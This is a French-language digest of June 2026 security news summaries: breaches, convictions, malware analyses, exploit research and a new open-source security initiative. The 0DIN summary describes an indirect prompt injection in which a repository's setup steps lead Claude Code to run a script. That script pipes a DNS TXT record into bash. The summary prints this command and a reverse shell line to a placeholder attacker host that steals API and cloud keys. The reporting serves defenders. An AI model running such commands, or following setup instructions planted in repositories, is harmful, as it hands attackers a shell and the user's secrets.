Posts

🏛️ Contexte Le 22 juin 2026, la National Crime Agency (NCA) britannique a annoncé la condamnation de deux cybercriminels ayant attaqué le réseau informatique de Transport for London (TfL). L’article est publié sur le site officiel de la NCA. 👤 Acteurs identifiés Thalha Jubair, 20 ans, originaire de l’Est de Londres Owen Flowers, 18 ans, originaire de Walsall, West Midlands Tous deux membres du collectif criminel en ligne Scattered Spider 🗓️ Chronologie 31 août – 3 septembre 2024 : infiltration du réseau de TfL 6 septembre 2024 : première arrestation de Flowers pour l’attaque TfL 16 septembre 2024 : arrestation des deux individus à leur domicile par la NCA et la City of London Police (COLP) Mars et mai 2025 : Flowers viole ses conditions de liberté sous caution à deux reprises 22 juin 2026 : les deux accusés plaident coupable au Woolwich Crown Court 16 juillet : date prévue pour le prononcé de la peine 💥 Impact de l’attaque 29 millions de livres sterling de pertes et coûts de récupération pour TfL Les 28 000 employés de TfL ont dû se rendre physiquement dans un bureau pour réinitialiser leur mot de passe Accès aux données du système de remboursements Oyster Perturbation du système de remboursement clients Fermeture du système de demande de photocards Oyster pour enfants et jeunes 🏥 Victimes supplémentaires Lors de l’arrestation de Flowers, des preuves ont été trouvées indiquant l’infiltration et l’endommagement des réseaux de deux entreprises américaines de santé : ...

🔍 Contexte Publié le 25 juin 2026 par les chercheurs Eddy Tsalolikhin et Or Peles de JFrog Security Research, cet article présente une analyse technique approfondie de DirtyClone, une nouvelle variante de la famille de vulnérabilités DirtyFrag affectant le noyau Linux. La vulnérabilité est référencée CVE-2026-43503 (CVSS 8.8, sévérité haute). 🧬 Famille de vulnérabilités DirtyFrag DirtyFrag est une famille de vulnérabilités de corruption mémoire dans la pile réseau du noyau Linux, exploitant l’intersection entre : ...

🔍 Contexte Publié le 19 juin 2026 par SpyCloud Labs, cet article présente une analyse technique approfondie de l’infrastructure opérationnelle du groupe à l’origine du dataset « FortiBleed », initialement découvert par le chercheur Volodymyr « Bob » Diachenko. SpyCloud a obtenu une copie des données et les a analysées contre son schéma de brèches. 🎯 Nature de la campagne La campagne, active depuis le 19 mai 2026, est opérée par un courtier d’accès initial (IAB) russophone utilisant des techniques de mass-scanning et brute-force (spray-and-pray) contre des équipements exposés sur Internet : ...

🔍 Contexte Publié le 25 juin 2026 par Andre Hall & Miller Engelbrecht sur le blog de 0DIN (plateforme de bug bounty IA de Mozilla), cet article présente une démonstration technique d’une attaque par injection de prompt indirecte ciblant les outils de développement agentiques, en particulier Claude Code d’Anthropic. ⚙️ Mécanisme de l’attaque L’attaque repose sur trois composants enchaînés, chacun individuellement bénin : Un dépôt GitHub normal : un fichier README ou issue décrit une procédure d’initialisation standard (pip3 install -r requirements.txt puis python3 -m axiom init). Un package Python qui échoue intentionnellement : le module axiom lève une RuntimeError s’il n’est pas initialisé, incitant l’agent à exécuter python3 -m axiom init comme correction de routine. Un script d’initialisation qui résout un enregistrement DNS TXT : scripts/setup.sh exécute dig +short TXT _axiom-config.m100.cloud @1.1.1.1 et passe le résultat à bash -c. L’enregistrement DNS contient un reverse shell encodé en base64 (bash -i >& /dev/tcp/<attacker-host>/4443 0>&1). 💥 Impact Shell interactif s’exécutant avec les droits de l’utilisateur développeur Exfiltration de secrets d’environnement : ANTHROPIC_API_KEY, AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN Possibilité de persistance (clé SSH, cron job, backdoor) Le payload est invisible : absent du dépôt, non détectable par les scanners statiques, jamais évalué par l’agent avant exécution Le payload peut être modifié à tout moment en éditant l’enregistrement DNS, sans aucun commit 🎯 Vecteur de diffusion Un simple lien vers le dépôt partagé dans une offre d’emploi, un tutoriel ou un message Slack suffit à compromettre tout développeur ouvrant le projet avec Claude Code. ...

📰 Source : BleepingComputer — Date de publication : 28 juin 2026 Contexte KDDI Corporation, l’un des plus grands opérateurs télécom japonais (45 000 employés, 32,4 milliards USD de revenus annuels), a divulgué une violation de données affectant un système email centralisé utilisé par cinq fournisseurs d’accès à Internet (FAI) partenaires. Déroulement de l’incident La compromission a été découverte le 17 juin par KDDI. Les attaquants ont exploité une vulnérabilité dans un logiciel tiers non nommé déployé sur le système KDDI. KDDI a immédiatement bloqué l’accès non autorisé et mis en place des mesures défensives. Les autorités compétentes ont été notifiées : Personal Information Protection Commission et Ministry of Internal Affairs and Communications. Périmètre d’impact Les cinq FAI affectés sont : ...

🔍 Contexte Publié le 29 juin 2026 sur GitHub par l’utilisateur 28Zaaky, le dépôt khaos-c2 présente KHAØS, un framework de command-and-control (C2) post-exploitation open-source sous licence MIT. Le projet compte 109 étoiles et 19 forks au moment de la publication. Le code est principalement écrit en C (91,6%), avec des composants JavaScript, Python et PowerShell. 🎯 Description du framework KHAØS est conçu pour contourner les solutions EDR en s’appuyant sur plusieurs mécanismes d’évasion : ...

📰 Source : TechCrunch, article de Lorenzo Franceschi-Bicchierai publié le 25 juin 2026. L’article rapporte les développements post-incident concernant la violation de données subie par Klue, fournisseur de market intelligence. 🗓️ Chronologie de l’incident 12 juin 2026 : intrusion dans les systèmes de Klue Lundi (date non précisée) : Klue confirme publiquement la violation Mercredi soir : mise à jour privée envoyée aux clients Jeudi matin : site du groupe Icarus hors ligne 🎯 Vecteur d’attaque initial Les attaquants ont utilisé un credential tiers datant de 2022, issu d’un pilote limité et jamais révoqué. Ce credential a permis d’accéder aux systèmes de Klue, puis de dérober des tokens d’authentification OAuth pour s’introduire dans les clouds et bases de données des clients. ...

📰 Source : Help Net Security — Date : 26 juin 2026 🔍 Contexte Face à l’accélération du délai entre la découverte d’une faille et son exploitation — phénomène amplifié par l’IA — la Linux Foundation a annoncé le lancement d’Akrites, une initiative industrielle dédiée à la sécurité des logiciels open source critiques. 🏗️ Nature de l’initiative Akrites rassemble plusieurs catégories d’acteurs : Entreprises technologiques Institutions financières Éditeurs de solutions de sécurité Entreprises spécialisées en IA Projets open source 🎯 Objectifs L’initiative vise à établir un processus commun pour la remédiation et la divulgation des vulnérabilités affectant les logiciels open source à large diffusion. Elle entend répondre à la réduction du temps entre découverte et exploitation des failles, accélérée par les capacités de l’IA. ...

🔍 Contexte Publié le 25 juin 2026 par Group-IB (blog officiel), cet article présente une analyse technique approfondie du Millenium RAT version 4.*, un cheval de Troie d’accès à distance (RAT) initialement documenté par CYFIRMA en novembre 2023 (version 2.4). L’analyse couvre l’évolution architecturale du malware, son modèle de distribution, les campagnes actives et la victimologie mondiale. 🏗️ Évolution architecturale majeure La version 4.* marque un changement architectural critique : le malware abandonne le framework .NET au profit d’une application native C++, supprimant toute dépendance au runtime .NET. La communication C2 repose exclusivement sur l’API Telegram Bot via libcurl, sans infrastructure serveur dédiée. La configuration est chargée depuis une ressource PE embarquée (RCDATA), encodée en Base64 et chiffrée via un algorithme XOR personnalisé avec mot de passe intégré dans le PE. ...

🔍 Contexte Publié le 17 juin 2026 par Serhii Melnyk (LevelBlue SpiderLabs), cet article présente une analyse technique approfondie de deux preuves de concept (PoC) publiées sous les alias Nightmare-Eclipse / MSNightmare, peu après le Patch Tuesday de juin 2026 de Microsoft. 🚀 RoguePlanet : Élévation de privilèges locale via Microsoft Defender RoguePlanet est une technique d’élévation de privilèges locale (LPE) permettant à un utilisateur standard d’obtenir une exécution en contexte SYSTEM sans exploitation noyau ni corruption mémoire. Elle repose sur une chaîne en 7 étapes orchestrant des composants Windows légitimes : ...